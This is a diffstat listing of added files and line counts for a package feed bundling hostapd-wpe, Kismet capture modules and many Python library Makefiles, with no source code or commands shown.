hostapd-wpe/src/src/eap_peer/tncc.c | 1317 ++ hostapd-wpe/src/src/eap_peer/tncc.h | 36 + hostapd-wpe/src/src/eap_server/Makefile | 21 + hostapd-wpe/src/src/eap_server/eap.h | 166 + hostapd-wpe/src/src/eap_server/eap_i.h | 229 + hostapd-wpe/src/src/eap_server/eap_methods.h | 50 + hostapd-wpe/src/src/eap_server/eap_server.c | 2120 +++ .../src/src/eap_server/eap_server_aka.c | 1369 ++ .../src/src/eap_server/eap_server_eke.c | 810 ++ .../src/src/eap_server/eap_server_fast.c | 1639 +++ .../src/src/eap_server/eap_server_gpsk.c | 648 + .../src/src/eap_server/eap_server_gtc.c | 219 + .../src/src/eap_server/eap_server_identity.c | 177 + .../src/src/eap_server/eap_server_ikev2.c | 571 + .../src/src/eap_server/eap_server_md5.c | 171 + .../src/src/eap_server/eap_server_methods.c | 176 + .../src/src/eap_server/eap_server_mschapv2.c | 603 + .../src/src/eap_server/eap_server_pax.c | 600 + .../src/src/eap_server/eap_server_peap.c | 1425 ++ .../src/src/eap_server/eap_server_psk.c | 527 + .../src/src/eap_server/eap_server_pwd.c | 1060 ++ .../src/src/eap_server/eap_server_sake.c | 550 + .../src/src/eap_server/eap_server_sim.c | 868 ++ .../src/src/eap_server/eap_server_tls.c | 480 + .../src/eap_server/eap_server_tls_common.c | 516 + .../src/src/eap_server/eap_server_tnc.c | 572 + .../src/src/eap_server/eap_server_ttls.c | 1365 ++ .../src/eap_server/eap_server_vendor_test.c | 188 + .../src/src/eap_server/eap_server_wsc.c | 508 + hostapd-wpe/src/src/eap_server/eap_sim_db.c | 1563 +++ hostapd-wpe/src/src/eap_server/eap_sim_db.h | 95 + .../src/src/eap_server/eap_tls_common.h | 100 + hostapd-wpe/src/src/eap_server/ikev2.c | 1198 ++ hostapd-wpe/src/src/eap_server/ikev2.h | 61 + hostapd-wpe/src/src/eap_server/tncs.c | 1200 ++ hostapd-wpe/src/src/eap_server/tncs.h | 43 + hostapd-wpe/src/src/eapol_auth/Makefile | 16 + .../src/src/eapol_auth/eapol_auth_dump.c | 289 + .../src/src/eapol_auth/eapol_auth_sm.c | 1319 ++ .../src/src/eapol_auth/eapol_auth_sm.h | 103 + .../src/src/eapol_auth/eapol_auth_sm_i.h | 176 + hostapd-wpe/src/src/eapol_supp/Makefile | 18 + .../src/src/eapol_supp/eapol_supp_sm.c | 2260 ++++ .../src/src/eapol_supp/eapol_supp_sm.h | 491 + hostapd-wpe/src/src/fst/Makefile | 8 + hostapd-wpe/src/src/fst/fst.c | 231 + hostapd-wpe/src/src/fst/fst.h | 304 + hostapd-wpe/src/src/fst/fst_ctrl_aux.c | 70 + hostapd-wpe/src/src/fst/fst_ctrl_aux.h | 93 + hostapd-wpe/src/src/fst/fst_ctrl_defs.h | 109 + hostapd-wpe/src/src/fst/fst_ctrl_iface.c | 948 ++ hostapd-wpe/src/src/fst/fst_ctrl_iface.h | 45 + hostapd-wpe/src/src/fst/fst_defs.h | 87 + hostapd-wpe/src/src/fst/fst_group.c | 522 + hostapd-wpe/src/src/fst/fst_group.h | 69 + hostapd-wpe/src/src/fst/fst_iface.c | 80 + hostapd-wpe/src/src/fst/fst_iface.h | 136 + hostapd-wpe/src/src/fst/fst_internal.h | 49 + hostapd-wpe/src/src/fst/fst_session.c | 1609 +++ hostapd-wpe/src/src/fst/fst_session.h | 80 + hostapd-wpe/src/src/l2_packet/Makefile | 16 + hostapd-wpe/src/src/l2_packet/l2_packet.h | 155 + .../src/src/l2_packet/l2_packet_freebsd.c | 329 + .../src/src/l2_packet/l2_packet_linux.c | 510 + .../src/src/l2_packet/l2_packet_ndis.c | 535 + .../src/src/l2_packet/l2_packet_none.c | 137 + .../src/src/l2_packet/l2_packet_pcap.c | 400 + .../src/src/l2_packet/l2_packet_privsep.c | 283 + .../src/src/l2_packet/l2_packet_winpcap.c | 347 + hostapd-wpe/src/src/lib.rules | 30 + hostapd-wpe/src/src/p2p/Makefile | 29 + hostapd-wpe/src/src/p2p/p2p.c | 5623 ++++++++ hostapd-wpe/src/src/p2p/p2p.h | 2404 ++++ hostapd-wpe/src/src/p2p/p2p_build.c | 835 ++ hostapd-wpe/src/src/p2p/p2p_dev_disc.c | 329 + hostapd-wpe/src/src/p2p/p2p_go_neg.c | 1521 +++ hostapd-wpe/src/src/p2p/p2p_group.c | 1131 ++ hostapd-wpe/src/src/p2p/p2p_i.h | 907 ++ hostapd-wpe/src/src/p2p/p2p_invitation.c | 719 + hostapd-wpe/src/src/p2p/p2p_parse.c | 890 ++ hostapd-wpe/src/src/p2p/p2p_pd.c | 1769 +++ hostapd-wpe/src/src/p2p/p2p_sd.c | 941 ++ hostapd-wpe/src/src/p2p/p2p_utils.c | 498 + hostapd-wpe/src/src/pae/Makefile | 8 + hostapd-wpe/src/src/pae/ieee802_1x_cp.c | 720 + hostapd-wpe/src/src/pae/ieee802_1x_cp.h | 39 + hostapd-wpe/src/src/pae/ieee802_1x_kay.c | 4097 ++++++ hostapd-wpe/src/src/pae/ieee802_1x_kay.h | 281 + hostapd-wpe/src/src/pae/ieee802_1x_kay_i.h | 425 + hostapd-wpe/src/src/pae/ieee802_1x_key.c | 210 + hostapd-wpe/src/src/pae/ieee802_1x_key.h | 26 + hostapd-wpe/src/src/pae/ieee802_1x_secy_ops.c | 539 + hostapd-wpe/src/src/pae/ieee802_1x_secy_ops.h | 62 + hostapd-wpe/src/src/radius/.gitignore | 1 + hostapd-wpe/src/src/radius/Makefile | 23 + hostapd-wpe/src/src/radius/radius.c | 1730 +++ hostapd-wpe/src/src/radius/radius.h | 341 + hostapd-wpe/src/src/radius/radius_client.c | 1700 +++ hostapd-wpe/src/src/radius/radius_client.h | 262 + hostapd-wpe/src/src/radius/radius_das.c | 598 + hostapd-wpe/src/src/radius/radius_das.h | 63 + hostapd-wpe/src/src/radius/radius_server.c | 3023 +++++ hostapd-wpe/src/src/radius/radius_server.h | 254 + hostapd-wpe/src/src/rsn_supp/Makefile | 28 + hostapd-wpe/src/src/rsn_supp/pmksa_cache.c | 626 + hostapd-wpe/src/src/rsn_supp/pmksa_cache.h | 165 + hostapd-wpe/src/src/rsn_supp/preauth.c | 542 + hostapd-wpe/src/src/rsn_supp/preauth.h | 79 + hostapd-wpe/src/src/rsn_supp/tdls.c | 3063 +++++ hostapd-wpe/src/src/rsn_supp/wpa.c | 4694 +++++++ hostapd-wpe/src/src/rsn_supp/wpa.h | 470 + hostapd-wpe/src/src/rsn_supp/wpa_ft.c | 1072 ++ hostapd-wpe/src/src/rsn_supp/wpa_i.h | 432 + hostapd-wpe/src/src/rsn_supp/wpa_ie.c | 608 + hostapd-wpe/src/src/rsn_supp/wpa_ie.h | 66 + hostapd-wpe/src/src/tls/.gitignore | 1 + hostapd-wpe/src/src/tls/Makefile | 40 + hostapd-wpe/src/src/tls/asn1.c | 241 + hostapd-wpe/src/src/tls/asn1.h | 72 + hostapd-wpe/src/src/tls/bignum.c | 224 + hostapd-wpe/src/src/tls/bignum.h | 32 + hostapd-wpe/src/src/tls/libtommath.c | 3400 +++++ hostapd-wpe/src/src/tls/pkcs1.c | 320 + hostapd-wpe/src/src/tls/pkcs1.h | 29 + hostapd-wpe/src/src/tls/pkcs5.c | 650 + hostapd-wpe/src/src/tls/pkcs5.h | 16 + hostapd-wpe/src/src/tls/pkcs8.c | 187 + hostapd-wpe/src/src/tls/pkcs8.h | 16 + hostapd-wpe/src/src/tls/rsa.c | 375 + hostapd-wpe/src/src/tls/rsa.h | 26 + hostapd-wpe/src/src/tls/tlsv1_client.c | 893 ++ hostapd-wpe/src/src/tls/tlsv1_client.h | 63 + hostapd-wpe/src/src/tls/tlsv1_client_i.h | 100 + hostapd-wpe/src/src/tls/tlsv1_client_ocsp.c | 803 ++ hostapd-wpe/src/src/tls/tlsv1_client_read.c | 1553 +++ hostapd-wpe/src/src/tls/tlsv1_client_write.c | 1009 ++ hostapd-wpe/src/src/tls/tlsv1_common.c | 523 + hostapd-wpe/src/src/tls/tlsv1_common.h | 275 + hostapd-wpe/src/src/tls/tlsv1_cred.c | 1279 ++ hostapd-wpe/src/src/tls/tlsv1_cred.h | 48 + hostapd-wpe/src/src/tls/tlsv1_record.c | 485 + hostapd-wpe/src/src/tls/tlsv1_record.h | 71 + hostapd-wpe/src/src/tls/tlsv1_server.c | 867 ++ hostapd-wpe/src/src/tls/tlsv1_server.h | 58 + hostapd-wpe/src/src/tls/tlsv1_server_i.h | 89 + hostapd-wpe/src/src/tls/tlsv1_server_read.c | 1320 ++ hostapd-wpe/src/src/tls/tlsv1_server_write.c | 1093 ++ hostapd-wpe/src/src/tls/x509v3.c | 2177 +++ hostapd-wpe/src/src/tls/x509v3.h | 157 + hostapd-wpe/src/src/utils/.gitignore | 1 + hostapd-wpe/src/src/utils/Makefile | 43 + hostapd-wpe/src/src/utils/base64.c | 203 + hostapd-wpe/src/src/utils/base64.h | 21 + hostapd-wpe/src/src/utils/bitfield.c | 89 + hostapd-wpe/src/src/utils/bitfield.h | 21 + hostapd-wpe/src/src/utils/browser-android.c | 126 + hostapd-wpe/src/src/utils/browser-system.c | 119 + hostapd-wpe/src/src/utils/browser-wpadebug.c | 139 + hostapd-wpe/src/src/utils/browser.c | 218 + hostapd-wpe/src/src/utils/browser.h | 21 + hostapd-wpe/src/src/utils/build_config.h | 50 + hostapd-wpe/src/src/utils/common.c | 1251 ++ hostapd-wpe/src/src/utils/common.h | 591 + hostapd-wpe/src/src/utils/const_time.h | 191 + hostapd-wpe/src/src/utils/crc32.c | 85 + hostapd-wpe/src/src/utils/crc32.h | 14 + hostapd-wpe/src/src/utils/edit.c | 1174 ++ hostapd-wpe/src/src/utils/edit.h | 21 + hostapd-wpe/src/src/utils/edit_readline.c | 192 + hostapd-wpe/src/src/utils/edit_simple.c | 98 + hostapd-wpe/src/src/utils/eloop.c | 1349 ++ hostapd-wpe/src/src/utils/eloop.h | 367 + hostapd-wpe/src/src/utils/eloop_win.c | 700 + hostapd-wpe/src/src/utils/ext_password.c | 112 + hostapd-wpe/src/src/utils/ext_password.h | 33 + hostapd-wpe/src/src/utils/ext_password_i.h | 29 + hostapd-wpe/src/src/utils/ext_password_test.c | 90 + hostapd-wpe/src/src/utils/http-utils.h | 63 + hostapd-wpe/src/src/utils/http_curl.c | 1758 +++ hostapd-wpe/src/src/utils/includes.h | 45 + hostapd-wpe/src/src/utils/ip_addr.c | 53 + hostapd-wpe/src/src/utils/ip_addr.h | 27 + hostapd-wpe/src/src/utils/json.c | 576 + hostapd-wpe/src/src/utils/json.h | 42 + hostapd-wpe/src/src/utils/list.h | 97 + hostapd-wpe/src/src/utils/module_tests.h | 20 + hostapd-wpe/src/src/utils/os.h | 680 + hostapd-wpe/src/src/utils/os_internal.c | 554 + hostapd-wpe/src/src/utils/os_none.c | 248 + hostapd-wpe/src/src/utils/os_unix.c | 842 ++ hostapd-wpe/src/src/utils/os_win32.c | 295 + hostapd-wpe/src/src/utils/pcsc_funcs.c | 1451 ++ hostapd-wpe/src/src/utils/pcsc_funcs.h | 42 + hostapd-wpe/src/src/utils/platform.h | 21 + hostapd-wpe/src/src/utils/radiotap.c | 396 + hostapd-wpe/src/src/utils/radiotap.h | 291 + hostapd-wpe/src/src/utils/radiotap_iter.h | 96 + hostapd-wpe/src/src/utils/state_machine.h | 138 + hostapd-wpe/src/src/utils/trace.c | 409 + hostapd-wpe/src/src/utils/trace.h | 71 + .../src/src/utils/utils_module_tests.c | 1233 ++ hostapd-wpe/src/src/utils/uuid.c | 96 + hostapd-wpe/src/src/utils/uuid.h | 19 + hostapd-wpe/src/src/utils/wpa_debug.c | 892 ++ hostapd-wpe/src/src/utils/wpa_debug.h | 373 + hostapd-wpe/src/src/utils/wpabuf.c | 340 + hostapd-wpe/src/src/utils/wpabuf.h | 164 + hostapd-wpe/src/src/utils/xml-utils.c | 471 + hostapd-wpe/src/src/utils/xml-utils.h | 97 + hostapd-wpe/src/src/utils/xml_libxml2.c | 459 + hostapd-wpe/src/src/wpe/Makefile | 8 + hostapd-wpe/src/src/wpe/wpe.c | 232 + hostapd-wpe/src/src/wpe/wpe.h | 54 + hostapd-wpe/src/src/wps/Makefile | 41 + hostapd-wpe/src/src/wps/http.h | 29 + hostapd-wpe/src/src/wps/http_client.c | 362 + hostapd-wpe/src/src/wps/http_client.h | 40 + hostapd-wpe/src/src/wps/http_server.c | 314 + hostapd-wpe/src/src/wps/http_server.h | 33 + hostapd-wpe/src/src/wps/httpread.c | 848 ++ hostapd-wpe/src/src/wps/httpread.h | 117 + hostapd-wpe/src/src/wps/ndef.c | 204 + hostapd-wpe/src/src/wps/upnp_xml.c | 252 + hostapd-wpe/src/src/wps/upnp_xml.h | 25 + hostapd-wpe/src/src/wps/wps.c | 664 + hostapd-wpe/src/src/wps/wps.h | 1089 ++ hostapd-wpe/src/src/wps/wps_attr_build.c | 514 + hostapd-wpe/src/src/wps/wps_attr_parse.c | 674 + hostapd-wpe/src/src/wps/wps_attr_parse.h | 105 + hostapd-wpe/src/src/wps/wps_attr_process.c | 282 + hostapd-wpe/src/src/wps/wps_common.c | 911 ++ hostapd-wpe/src/src/wps/wps_defs.h | 384 + hostapd-wpe/src/src/wps/wps_dev_attr.c | 427 + hostapd-wpe/src/src/wps/wps_dev_attr.h | 40 + hostapd-wpe/src/src/wps/wps_enrollee.c | 1513 +++ hostapd-wpe/src/src/wps/wps_er.c | 2105 +++ hostapd-wpe/src/src/wps/wps_er.h | 112 + hostapd-wpe/src/src/wps/wps_er_ssdp.c | 205 + hostapd-wpe/src/src/wps/wps_i.h | 221 + hostapd-wpe/src/src/wps/wps_module_tests.c | 338 + hostapd-wpe/src/src/wps/wps_registrar.c | 3774 ++++++ hostapd-wpe/src/src/wps/wps_upnp.c | 1219 ++ hostapd-wpe/src/src/wps/wps_upnp.h | 51 + hostapd-wpe/src/src/wps/wps_upnp_ap.c | 83 + hostapd-wpe/src/src/wps/wps_upnp_event.c | 421 + hostapd-wpe/src/src/wps/wps_upnp_i.h | 192 + hostapd-wpe/src/src/wps/wps_upnp_ssdp.c | 942 ++ hostapd-wpe/src/src/wps/wps_upnp_web.c | 1420 ++ hostapd-wpe/src/src/wps/wps_validate.c | 1977 +++ hostapd-wpe/src/wpa_supplicant/.config | 409 + hostapd-wpe/src/wpa_supplicant/.gitignore | 1 + hostapd-wpe/src/wpa_supplicant/Android.mk | 1625 +++ hostapd-wpe/src/wpa_supplicant/ChangeLog | 1928 +++ hostapd-wpe/src/wpa_supplicant/Makefile | 1779 +++ hostapd-wpe/src/wpa_supplicant/README | 1054 ++ hostapd-wpe/src/wpa_supplicant/README-HS20 | 566 + hostapd-wpe/src/wpa_supplicant/README-P2P | 607 + hostapd-wpe/src/wpa_supplicant/README-WPS | 399 + .../src/wpa_supplicant/README-Windows.txt | 299 + hostapd-wpe/src/wpa_supplicant/android.config | 482 + hostapd-wpe/src/wpa_supplicant/ap.c | 1219 ++ hostapd-wpe/src/wpa_supplicant/ap.h | 78 + hostapd-wpe/src/wpa_supplicant/autoscan.c | 143 + hostapd-wpe/src/wpa_supplicant/autoscan.h | 49 + .../src/wpa_supplicant/autoscan_exponential.c | 104 + .../src/wpa_supplicant/autoscan_periodic.c | 85 + hostapd-wpe/src/wpa_supplicant/bgscan.c | 117 + hostapd-wpe/src/wpa_supplicant/bgscan.h | 73 + hostapd-wpe/src/wpa_supplicant/bgscan_learn.c | 617 + .../src/wpa_supplicant/bgscan_simple.c | 283 + hostapd-wpe/src/wpa_supplicant/blacklist.c | 141 + hostapd-wpe/src/wpa_supplicant/blacklist.h | 24 + hostapd-wpe/src/wpa_supplicant/bss.c | 1215 ++ hostapd-wpe/src/wpa_supplicant/bss.h | 142 + hostapd-wpe/src/wpa_supplicant/config.c | 4112 ++++++ hostapd-wpe/src/wpa_supplicant/config.h | 1119 ++ hostapd-wpe/src/wpa_supplicant/config_file.c | 1228 ++ hostapd-wpe/src/wpa_supplicant/config_none.c | 56 + hostapd-wpe/src/wpa_supplicant/config_ssid.h | 659 + .../src/wpa_supplicant/config_winreg.c | 1029 ++ hostapd-wpe/src/wpa_supplicant/ctrl_iface.c | 7288 ++++++++++ hostapd-wpe/src/wpa_supplicant/ctrl_iface.h | 159 + .../wpa_supplicant/ctrl_iface_named_pipe.c | 829 ++ .../src/wpa_supplicant/ctrl_iface_udp.c | 685 + .../src/wpa_supplicant/ctrl_iface_unix.c | 1086 ++ .../src/wpa_supplicant/dbus/.gitignore | 1 + hostapd-wpe/src/wpa_supplicant/dbus/Makefile | 73 + .../dbus/dbus-wpa_supplicant.conf | 27 + .../src/wpa_supplicant/dbus/dbus_common.c | 390 + .../src/wpa_supplicant/dbus/dbus_common.h | 20 + .../src/wpa_supplicant/dbus/dbus_common_i.h | 28 + .../wpa_supplicant/dbus/dbus_dict_helpers.c | 1104 ++ .../wpa_supplicant/dbus/dbus_dict_helpers.h | 163 + .../src/wpa_supplicant/dbus/dbus_new.c | 3854 ++++++ .../src/wpa_supplicant/dbus/dbus_new.h | 519 + .../wpa_supplicant/dbus/dbus_new_handlers.c | 4217 ++++++ .../wpa_supplicant/dbus/dbus_new_handlers.h | 314 + .../dbus/dbus_new_handlers_p2p.c | 2482 ++++ .../dbus/dbus_new_handlers_p2p.h | 215 + .../dbus/dbus_new_handlers_wps.c | 391 + .../wpa_supplicant/dbus/dbus_new_helpers.c | 1060 ++ .../wpa_supplicant/dbus/dbus_new_helpers.h | 150 + .../wpa_supplicant/dbus/dbus_new_introspect.c | 279 + .../src/wpa_supplicant/dbus/dbus_old.c | 745 ++ .../src/wpa_supplicant/dbus/dbus_old.h | 137 + .../wpa_supplicant/dbus/dbus_old_handlers.c | 1462 ++ .../wpa_supplicant/dbus/dbus_old_handlers.h | 101 + .../dbus/dbus_old_handlers_wps.c | 157 + ...fi.epitest.hostap.WPASupplicant.service.in | 5 + .../dbus/fi.w1.wpa_supplicant1.service.in | 5 + hostapd-wpe/src/wpa_supplicant/defconfig | 500 + .../src/wpa_supplicant/doc/docbook/.gitignore | 6 + .../src/wpa_supplicant/doc/docbook/Makefile | 28 + .../doc/docbook/eapol_test.sgml | 205 + .../doc/docbook/wpa_background.sgml | 101 + .../wpa_supplicant/doc/docbook/wpa_cli.sgml | 356 + .../wpa_supplicant/doc/docbook/wpa_gui.sgml | 85 + .../doc/docbook/wpa_passphrase.sgml | 73 + .../wpa_supplicant/doc/docbook/wpa_priv.sgml | 148 + .../doc/docbook/wpa_supplicant.conf.sgml | 239 + .../doc/docbook/wpa_supplicant.sgml | 747 ++ hostapd-wpe/src/wpa_supplicant/driver_i.h | 830 ++ .../src/wpa_supplicant/eap_proxy_dummy.mak | 0 .../src/wpa_supplicant/eap_proxy_dummy.mk | 0 hostapd-wpe/src/wpa_supplicant/eap_register.c | 261 + .../src/wpa_supplicant/eap_testing.txt | 392 + hostapd-wpe/src/wpa_supplicant/eapol_test.c | 1425 ++ hostapd-wpe/src/wpa_supplicant/events.c | 3473 +++++ .../wpa_supplicant/examples/60_wpa_supplicant | 19 + .../examples/dbus-listen-preq.py | 62 + .../wpa_supplicant/examples/ieee8021x.conf | 13 + .../wpa_supplicant/examples/openCryptoki.conf | 41 + .../examples/p2p-action-udhcp.sh | 69 + .../src/wpa_supplicant/examples/p2p-action.sh | 96 + .../src/wpa_supplicant/examples/p2p-nfc.py | 654 + .../examples/p2p/p2p_connect.py | 299 + .../examples/p2p/p2p_disconnect.py | 169 + .../wpa_supplicant/examples/p2p/p2p_find.py | 192 + .../wpa_supplicant/examples/p2p/p2p_flush.py | 168 + .../examples/p2p/p2p_group_add.py | 222 + .../wpa_supplicant/examples/p2p/p2p_invite.py | 201 + .../wpa_supplicant/examples/p2p/p2p_listen.py | 182 + .../examples/p2p/p2p_stop_find.py | 174 + .../wpa_supplicant/examples/plaintext.conf | 8 + .../wpa_supplicant/examples/udhcpd-p2p.conf | 120 + .../src/wpa_supplicant/examples/wep.conf | 11 + .../wpa_supplicant/examples/wpa-psk-tkip.conf | 12 + .../examples/wpa2-eap-ccmp.conf | 15 + .../examples/wpas-dbus-new-getall.py | 59 + .../examples/wpas-dbus-new-signals.py | 203 + .../examples/wpas-dbus-new-wps.py | 80 + .../wpa_supplicant/examples/wpas-dbus-new.py | 149 + .../src/wpa_supplicant/examples/wpas-test.py | 91 + .../src/wpa_supplicant/examples/wps-ap-cli | 78 + .../src/wpa_supplicant/examples/wps-nfc.py | 525 + hostapd-wpe/src/wpa_supplicant/gas_query.c | 704 + hostapd-wpe/src/wpa_supplicant/gas_query.h | 59 + .../src/wpa_supplicant/hs20_supplicant.c | 929 ++ .../src/wpa_supplicant/hs20_supplicant.h | 40 + hostapd-wpe/src/wpa_supplicant/ibss_rsn.c | 916 ++ hostapd-wpe/src/wpa_supplicant/ibss_rsn.h | 64 + hostapd-wpe/src/wpa_supplicant/interworking.c | 2947 +++++ hostapd-wpe/src/wpa_supplicant/interworking.h | 35 + hostapd-wpe/src/wpa_supplicant/main.c | 361 + hostapd-wpe/src/wpa_supplicant/main_none.c | 40 + hostapd-wpe/src/wpa_supplicant/main_winmain.c | 78 + hostapd-wpe/src/wpa_supplicant/main_winsvc.c | 458 + hostapd-wpe/src/wpa_supplicant/nfc_pw_token.c | 83 + hostapd-wpe/src/wpa_supplicant/nmake.mak | 240 + hostapd-wpe/src/wpa_supplicant/notify.c | 645 + hostapd-wpe/src/wpa_supplicant/notify.h | 131 + hostapd-wpe/src/wpa_supplicant/offchannel.c | 420 + hostapd-wpe/src/wpa_supplicant/offchannel.h | 35 + .../src/wpa_supplicant/p2p_supplicant.c | 7680 +++++++++++ .../src/wpa_supplicant/p2p_supplicant.h | 177 + hostapd-wpe/src/wpa_supplicant/preauth_test.c | 360 + hostapd-wpe/src/wpa_supplicant/scan.c | 1996 +++ hostapd-wpe/src/wpa_supplicant/scan.h | 52 + hostapd-wpe/src/wpa_supplicant/sme.c | 1401 ++ hostapd-wpe/src/wpa_supplicant/sme.h | 113 + .../wpa_supplicant-nl80211.service.arg.in | 13 + .../wpa_supplicant-wired.service.arg.in | 13 + .../systemd/wpa_supplicant.service.arg.in | 13 + .../systemd/wpa_supplicant.service.in | 11 + .../src/wpa_supplicant/tests/link_test.c | 83 + .../tests/test_eap_sim_common.c | 47 + .../src/wpa_supplicant/tests/test_wpa.c | 369 + hostapd-wpe/src/wpa_supplicant/todo.txt | 85 + .../src/wpa_supplicant/utils/log2pcap.py | 54 + .../vs2005/eapol_test/eapol_test.vcproj | 473 + .../vs2005/win_if_list/win_if_list.vcproj | 203 + .../vs2005/wpa_cli/wpa_cli.vcproj | 215 + .../wpa_passphrase/wpa_passphrase.vcproj | 236 + .../wpa_supplicant/vs2005/wpa_supplicant.sln | 52 + .../wpa_supplicant/wpa_supplicant.vcproj | 461 + .../vs2005/wpasvc/wpasvc.vcproj | 461 + hostapd-wpe/src/wpa_supplicant/wifi_display.c | 295 + hostapd-wpe/src/wpa_supplicant/wifi_display.h | 21 + .../src/wpa_supplicant/win_example.reg | 42 + hostapd-wpe/src/wpa_supplicant/win_if_list.c | 173 + hostapd-wpe/src/wpa_supplicant/wnm_sta.c | 953 ++ hostapd-wpe/src/wpa_supplicant/wnm_sta.h | 79 + hostapd-wpe/src/wpa_supplicant/wpa_cli.c | 3885 ++++++ .../src/wpa_supplicant/wpa_gui-qt4/.gitignore | 4 + .../wpa_gui-qt4/addinterface.cpp | 239 + .../wpa_supplicant/wpa_gui-qt4/addinterface.h | 39 + .../wpa_gui-qt4/eventhistory.cpp | 124 + .../wpa_supplicant/wpa_gui-qt4/eventhistory.h | 57 + .../wpa_gui-qt4/eventhistory.ui | 61 + .../src/wpa_supplicant/wpa_gui-qt4/icons.qrc | 9 + .../wpa_supplicant/wpa_gui-qt4/icons/Makefile | 23 + .../wpa_supplicant/wpa_gui-qt4/icons/README | 74 + .../wpa_supplicant/wpa_gui-qt4/icons/ap.svg | 832 ++ .../wpa_gui-qt4/icons/group.svg | 616 + .../wpa_gui-qt4/icons/invitation.svg | 374 + .../wpa_gui-qt4/icons/laptop.svg | 1568 +++ .../wpa_gui-qt4/icons/wpa_gui.svg | 256 + .../wpa_supplicant/wpa_gui-qt4/icons_png.qrc | 9 + .../wpa_gui-qt4/lang/.gitignore | 1 + .../wpa_gui-qt4/lang/wpa_gui_de.ts | 1262 ++ .../src/wpa_supplicant/wpa_gui-qt4/main.cpp | 76 + .../wpa_gui-qt4/networkconfig.cpp | 852 ++ .../wpa_gui-qt4/networkconfig.h | 55 + .../wpa_gui-qt4/networkconfig.ui | 435 + .../src/wpa_supplicant/wpa_gui-qt4/peers.cpp | 1883 +++ .../src/wpa_supplicant/wpa_gui-qt4/peers.h | 90 + .../src/wpa_supplicant/wpa_gui-qt4/peers.ui | 40 + .../wpa_gui-qt4/scanresults.cpp | 140 + .../wpa_supplicant/wpa_gui-qt4/scanresults.h | 40 + .../wpa_supplicant/wpa_gui-qt4/scanresults.ui | 94 + .../wpa_supplicant/wpa_gui-qt4/signalbar.cpp | 58 + .../wpa_supplicant/wpa_gui-qt4/signalbar.h | 28 + .../wpa_gui-qt4/stringquery.cpp | 31 + .../wpa_supplicant/wpa_gui-qt4/stringquery.h | 28 + .../wpa_gui-qt4/userdatarequest.cpp | 94 + .../wpa_gui-qt4/userdatarequest.h | 40 + .../wpa_gui-qt4/userdatarequest.ui | 109 + .../wpa_gui-qt4/wpa_gui.desktop | 10 + .../wpa_supplicant/wpa_gui-qt4/wpa_gui.pro | 70 + .../src/wpa_supplicant/wpa_gui-qt4/wpagui.cpp | 1734 +++ .../src/wpa_supplicant/wpa_gui-qt4/wpagui.h | 144 + .../src/wpa_supplicant/wpa_gui-qt4/wpagui.ui | 524 + .../src/wpa_supplicant/wpa_gui-qt4/wpamsg.h | 35 + .../src/wpa_supplicant/wpa_passphrase.c | 67 + hostapd-wpe/src/wpa_supplicant/wpa_priv.c | 1029 ++ .../src/wpa_supplicant/wpa_supplicant.c | 4796 +++++++ .../src/wpa_supplicant/wpa_supplicant.conf | 1369 ++ .../src/wpa_supplicant/wpa_supplicant_conf.mk | 34 + .../src/wpa_supplicant/wpa_supplicant_conf.sh | 16 + .../src/wpa_supplicant/wpa_supplicant_i.h | 1002 ++ .../wpa_supplicant_template.conf | 6 + hostapd-wpe/src/wpa_supplicant/wpas_glue.c | 972 ++ hostapd-wpe/src/wpa_supplicant/wpas_glue.h | 25 + hostapd-wpe/src/wpa_supplicant/wpas_kay.c | 378 + hostapd-wpe/src/wpa_supplicant/wpas_kay.h | 41 + .../src/wpa_supplicant/wpas_module_tests.c | 102 + .../src/wpa_supplicant/wps_supplicant.c | 2764 ++++ .../src/wpa_supplicant/wps_supplicant.h | 151 + .../kismet-capture-linux-blueooth/Makefile | 51 + .../kismet-capture-linux-wifi/Makefile | 51 + .../kismet-capture-nrf-51822/Makefile | 50 + .../kismet-capture-nxp-kw41z/Makefile | 50 + .../kismet-capture-sdr-rtl433/Makefile | 51 + .../kismet-capture-sdr-rtladsb/Makefile | 50 + .../kismet-capture-sdr-rtlamr/Makefile | 50 + .../kismet-capture-ti-cc2531/Makefile | 50 + .../kismet-capture-ti-cc2540/Makefile | 50 + kismet-custom/kismet-custom/Makefile | 64 + .../kismet-custom/files/kismet_package.conf | 38 + kismet-custom/kismet-icao/Makefile | 34 + kismet-custom/kismet-manuf/Makefile | 36 + kismet-custom/kismet-tools/Makefile | 66 + kismet-custom/kismet.mk | 16 + kismet-custom/python3-cython/Makefile | 36 + kismet-custom/python3-numpy/Makefile | 39 + .../patches/100-npy_math_h.patch | 24 + kismet-custom/python3-protobuf/Makefile | 36 + lang/python/Flask/Makefile | 43 + lang/python/Jinja2/Makefile | 41 + lang/python/MarkupSafe/Makefile | 40 + lang/python/Werkzeug/Makefile | 38 + lang/python/bcrypt/Makefile | 73 + lang/python/click-log/Makefile | 36 + lang/python/click/Makefile | 40 + lang/python/django-appconf/Makefile | 72 + lang/python/django-compressor/Makefile | 79 + lang/python/django-constance/Makefile | 67 + lang/python/django-formtools/Makefile | 71 + lang/python/django-jsonfield/Makefile | 72 + lang/python/django-picklefield/Makefile | 72 + lang/python/django-postoffice/Makefile | 75 + lang/python/django-ranged-response/Makefile | 70 + lang/python/django-restframework/Makefile | 72 + lang/python/django-simple-captcha/Makefile | 79 + lang/python/django-statici18n/Makefile | 72 + lang/python/django-webpack-loader/Makefile | 70 + lang/python/django/Makefile | 71 + lang/python/flup/Makefile | 70 + lang/python/gunicorn/Makefile | 52 + lang/python/itsdangerous/Makefile | 40 + lang/python/micropython-lib/Makefile | 51 + lang/python/micropython/Makefile | 54 + .../patches/000-Makefile-no-errors.patch | 13 + lang/python/openpyxl/Makefile | 76 + lang/python/passlib/Makefile | 65 + lang/python/pillow/Makefile | 80 + lang/python/pyjwt/Makefile | 64 + lang/python/pyodbc/Makefile | 70 + lang/python/pypi.mk | 24 + lang/python/python-aiohttp-cors/Makefile | 43 + lang/python/python-aiohttp/Makefile | 52 + lang/python/python-appdirs/Makefile | 37 + lang/python/python-asn1crypto/Makefile | 65 + lang/python/python-astral/Makefile | 70 + lang/python/python-async-timeout/Makefile | 43 + lang/python/python-attrs/Makefile | 68 + lang/python/python-automat/Makefile | 89 + .../001-do-not-use-setuptools-scm-m2r.patch | 30 + .../patches/002-omit-visualize.patch | 18 + .../patches/003-omit-tests.patch | 19 + lang/python/python-awscli/Makefile | 71 + lang/python/python-boto3/Makefile | 39 + lang/python/python-botocore/Makefile | 68 + lang/python/python-cachelib/Makefile | 40 + lang/python/python-cachetools/Makefile | 42 + lang/python/python-certifi/Makefile | 65 + lang/python/python-cffi/Makefile | 71 + lang/python/python-chardet/Makefile | 72 + 